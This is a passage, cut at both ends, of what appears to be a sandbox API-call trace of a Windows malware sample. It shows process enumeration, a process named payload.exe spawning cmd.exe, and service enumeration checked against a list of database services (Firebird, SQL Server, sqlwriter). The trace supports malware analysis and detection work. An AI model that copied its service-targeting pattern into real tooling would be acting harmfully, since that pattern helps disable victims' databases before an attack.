szExeFile="svchost.exe")) returned 1 [0069.034] lstrlenW (lpString="svchost.exe") returned 11 [0069.034] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.035] lstrlenW (lpString="svchost.exe") returned 11 [0069.035] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.036] lstrlenW (lpString="svchost.exe") returned 11 [0069.036] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.036] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.037] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.037] lstrlenW (lpString="svchost.exe") returned 11 [0069.037] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.038] lstrlenW (lpString="svchost.exe") returned 11 [0069.038] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.039] lstrlenW (lpString="audiodg.exe") returned 11 [0069.039] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0069.039] lstrlenW (lpString="sihost.exe") returned 10 [0069.039] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.040] lstrlenW (lpString="svchost.exe") returned 11 [0069.040] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0069.041] lstrlenW (lpString="taskhostw.exe") returned 13 [0069.041] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0069.041] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0069.041] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0069.042] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0069.042] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.043] lstrlenW (lpString="explorer.exe") returned 12 [0069.043] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0069.043] lstrlenW (lpString="Memory Compression") returned 18 [0069.043] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0069.044] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0069.044] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0069.045] lstrlenW (lpString="SearchUI.exe") returned 12 [0069.045] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0069.046] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0069.046] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.046] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.046] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0069.047] lstrlenW (lpString="taskhostw.exe") returned 13 [0069.047] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0069.048] lstrlenW (lpString="UsoClient.exe") returned 13 [0069.048] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0069.048] lstrlenW (lpString="taskhostw.exe") returned 13 [0069.048] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0069.049] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0069.049] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0069.050] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0069.050] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0069.079] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0069.079] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0069.080] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0069.080] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0069.080] lstrlenW (lpString="arcobviously.exe") returned 16 [0069.080] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0069.081] lstrlenW (lpString="preston disciplines.exe") returned 23 [0069.081] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0069.082] lstrlenW (lpString="boss.exe") returned 8 [0069.082] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0069.082] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0069.082] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0069.083] lstrlenW (lpString="placing.exe") returned 11 [0069.083] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0069.084] lstrlenW (lpString="heroes.exe") returned 10 [0069.084] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0069.084] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0069.084] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0069.085] lstrlenW (lpString="requirement moments.exe") returned 23 [0069.085] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0069.086] lstrlenW (lpString="sugar.exe") returned 9 [0069.086] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0069.086] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0069.087] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0069.087] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0069.087] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0069.088] lstrlenW (lpString="genealogy.exe") returned 13 [0069.088] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0069.089] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0069.089] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0069.089] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0069.089] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0069.090] lstrlenW (lpString="expenditure.exe") returned 15 [0069.090] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0069.091] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0069.091] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0069.092] lstrlenW (lpString="upgrading.exe") returned 13 [0069.092] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0069.093] lstrlenW (lpString="conservative.exe") returned 16 [0069.093] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0069.094] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0069.094] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0069.094] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0069.094] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0069.095] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0069.095] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0069.096] lstrlenW (lpString="gods violations duke.exe") returned 24 [0069.096] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0069.097] lstrlenW (lpString="dllhost.exe") returned 11 [0069.097] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.098] lstrlenW (lpString="conhost.exe") returned 11 [0069.098] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.098] lstrlenW (lpString="conhost.exe") returned 11 [0069.098] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0069.099] lstrlenW (lpString="payload.exe") returned 11 [0069.099] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.100] lstrlenW (lpString="cmd.exe") returned 7 [0069.100] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.101] lstrlenW (lpString="conhost.exe") returned 11 [0069.101] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0069.102] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0069.102] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.102] lstrlenW (lpString="conhost.exe") returned 11 [0069.102] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.103] lstrlenW (lpString="svchost.exe") returned 11 [0069.103] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0069.104] lstrlenW (lpString="mode.com") returned 8 [0069.104] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0069.105] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0069.105] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.105] lstrlenW (lpString="svchost.exe") returned 11 [0069.105] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0069.106] CloseHandle (hObject=0x32c) returned 1 [0069.106] Sleep (dwMilliseconds=0x1f4) [0070.151] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceca0 [0070.151] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0070.152] GetLastError () returned 0xea [0070.152] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x3d01278 [0070.152] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d01278, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d01278, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0070.153] CloseServiceHandle (hSCObject=0x6ceca0) returned 1 [0070.153] lstrlenW (lpString="Appinfo") returned 7 [0070.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0070.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0070.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0070.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0070.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0070.153] lstrlenW (lpString="AppXSvc") returned 7 [0070.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0070.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0070.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0070.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0070.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0070.153] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0070.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0070.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0070.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0070.153] lstrlenW (lpString="Audiosrv") returned 8 [0070.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0070.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0070.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0070.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0070.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0070.153] lstrlenW (lpString="BFE") returned 3 [0070.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0070.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0070.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0070.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0070.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0070.154] lstrlenW (lpString="BITS") returned 4 [0070.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0070.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0070.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0070.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0070.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0070.154] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0070.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0070.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 